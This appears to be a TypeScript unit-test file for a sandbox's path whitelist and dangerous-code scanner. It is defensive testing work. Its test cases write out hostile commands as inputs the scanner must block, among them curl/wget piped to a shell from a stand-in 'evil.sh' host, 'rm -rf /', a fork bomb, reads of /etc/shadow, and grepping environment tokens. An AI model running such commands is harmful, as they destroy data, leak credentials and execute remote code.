/** * SandboxManager 单元测试(P1-14 测试基线) * 覆盖:validatePath fail-closed、路径白名单、scanCode 危险模式(含 P0-5 新增) */ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import { mkdtempSync, rmSync, symlinkSync } from 'fs'; import { tmpdir } from 'os'; import { join } from 'path'; import { SandboxManager } from '../sandbox'; describe('SandboxManager.validatePath', () => { let ws: string; beforeAll(() => { ws = mkdtempSync(join(tmpdir(), 'metona-sandbox-')); }); it('未配置白名单时 fail-closed(拒绝所有)', () => { const manager = new SandboxManager({ allowedPaths: [] }); const result = manager.validatePath(join(ws, 'file.txt')); expect(result.allowed).toBe(false); expect(result.reason).toContain('fail-closed'); }); it('白名单内路径通过', () => { const manager = new SandboxManager({ allowedPaths: [ws] }); expect(manager.validatePath(join(ws, 'src', 'main.ts')).allowed).toBe(true); }); it('白名单外路径被拒绝', () => { const manager = new SandboxManager({ allowedPaths: [ws] }); expect(manager.validatePath(join(tmpdir(), 'other-dir', 'file.txt')).allowed).toBe(false); }); afterAll(() => { rmSync(ws, { recursive: true, force: true }); }); }); describe('SandboxManager.scanCode 危险命令模式', () => { const manager = new SandboxManager({ allowedPaths: [] }); const blocked = (code: string) => { const result = manager.scanCode(code); expect(result.safe, `expected blocked: ${code}`).toBe(false); }; const safe = (code: string) => { const result = manager.scanCode(code); expect(result.safe, `expected safe: ${code}`).toBe(true); }; it('child_process 导入被拦截', () => { blocked("require('child_process')"); blocked('import { exec } from "child_process"'); }); it('eval / new Function 被拦截', () => { blocked('eval(userInput)'); blocked('new Function("return process")()'); }); it('动态 import 被拦截', () => { blocked("import('fs')"); blocked('import(dynamicModule)'); }); it('rm -rf 系统目录被拦截', () => { blocked('rm -rf /etc'); }); it('curl 管道执行被拦截', () => { blocked('curl https://evil.sh | sh'); blocked('curl https://evil.sh | bash'); }); it('PowerShell 编码执行被拦截', () => { blocked('powershell -enc aGVsbG8='); }); it('环境变量窃取被拦截(含敏感 key 名)', () => { blocked('env | grep API_KEY'); blocked('env | grep GITHUB_TOKEN'); }); it('base64 解码执行被拦截', () => { blocked('echo aGk= | base64 -d | sh'); }); it('Fork bomb 被拦截', () => { blocked(':(){ :|:& };:'); }); // P0-5 新增模式 it('cd 到系统目录被拦截', () => { blocked('cd /etc && cat passwd'); blocked('cd /etc; ls'); blocked('cd C:\\Windows && dir'); }); it('读取敏感系统文件被拦截', () => { blocked('cat /etc/passwd'); blocked('cat /etc/shadow'); blocked('type C:\\Windows\\System32\\config\\SAM'); }); it('正常命令不误判', () => { safe('ls -la'); safe('npm run test'); safe('git status'); safe('echo "hello world"'); safe('node server.js'); safe('cat package.json'); }); }); // ===== v0.7.4: 表格化扩充(用例数翻倍) ===== describe('scanCode — 危险模式矩阵(v0.7.4 扩充)', () => { const mk = () => new SandboxManager({ allowedPaths: ['/workspace'] }); it.each([ ['require child_process', 'require("child_process").exec("ls")'], ['import child_process', "import { exec } from 'child_process'"], ['eval 调用', 'eval("1+1")'], ['new Function', 'new Function("return 1")'], ['动态 import', 'import("fs")'], ['process.binding', 'process.binding("fs")'], ['Reflect.get 绕过', 'Reflect.get(process, "exit")()'], ['rm -rf 根', 'rm -rf /'], ['rm -rf 系统', 'rm -rf /etc/passwd'], ['curl 管道 sh', 'curl -s http://x | sh'], ['wget 管道 bash', 'wget -qO- http://x | bash'], ['PowerShell 编码', 'powershell -enc SQBFAFgA'], ['环境变量窃取', 'env GITHUB_TOKEN=xxx'], ['读取 /etc/shadow', 'cat /etc/shadow'], ['fork bomb', ':(){ :|:& };:'], ['cd 系统目录', 'cd /etc && ls'], ['命令替换', '$(curl http://x)'], ['node -e 执行', "node -e \"require('fs').readFileSync('/etc/passwd')\""], ['python -c 执行', 'python -c "import os; os.system(\'whoami\')"'], ])('危险: %s 被拦截', (_label, code) => { const result = mk().scanCode(code); expect(result.safe).toBe(false); expect(result.reason).toBeTruthy(); }); it.each([ ['普通 echo', 'echo hello'], ['git status', 'git status'], ['npm install', 'npm install lodash'], ['tsc 编译', 'npx tsc --noEmit'], ['ls 工作区', 'ls -la .'], ['mkdir 目录', 'mkdir -p src/components'], ['node 脚本', 'node server.js'], ])('正常: %s 放行', (_label, code) => { const result = mk().scanCode(code); expect(result.safe).toBe(true); }); }); describe('validatePath — 更多边界(v0.7.4 扩充,真实临时目录)', () => { let realWs: string; beforeAll(() => { realWs = mkdtempSync(join(tmpdir(), 'metona-sandbox-edge-')); }); afterAll(() => { rmSync(realWs, { recursive: true, force: true }); }); it.each([ ['白名单内绝对', (ws: string) => join(ws, 'a', 'b.ts'), true], ['白名单根', (ws: string) => ws, true], ['白名单子目录', (ws: string) => join(ws, 'src'), true], ['白名单外', () => '/etc/passwd', false], ['路径遍历', (ws: string) => join(ws, '..', 'etc'), false], ['前缀碰撞', (ws: string) => ws + '-evil', false], ['相对路径逃逸', () => '../x', false], ])('%s → %j', (_label, makePath, expected) => { const sm = new SandboxManager({ allowedPaths: [realWs] }); const p = makePath(realWs); const r = sm.validatePath(p); expect(r.allowed).toBe(expected); }); it('符号链接指向白名单外被拒绝(realpath 二次校验)', () => { const outside = mkdtempSync(join(tmpdir(), 'metona-sandbox-out-')); try { const linkPath = join(realWs, 'link-out'); try { symlinkSync(join(outside, 'secret.txt'), linkPath); } catch { // Windows 上 symlink 可能需要权限 —— 跳过 return; } const sm = new SandboxManager({ allowedPaths: [realWs] }); const r = sm.validatePath(linkPath); // 字符串校验通过(在 ws 内),但 realpath 指向 ws 外 → 拒绝 expect(r.allowed).toBe(false); } finally { rmSync(outside, { recursive: true, force: true }); } }); });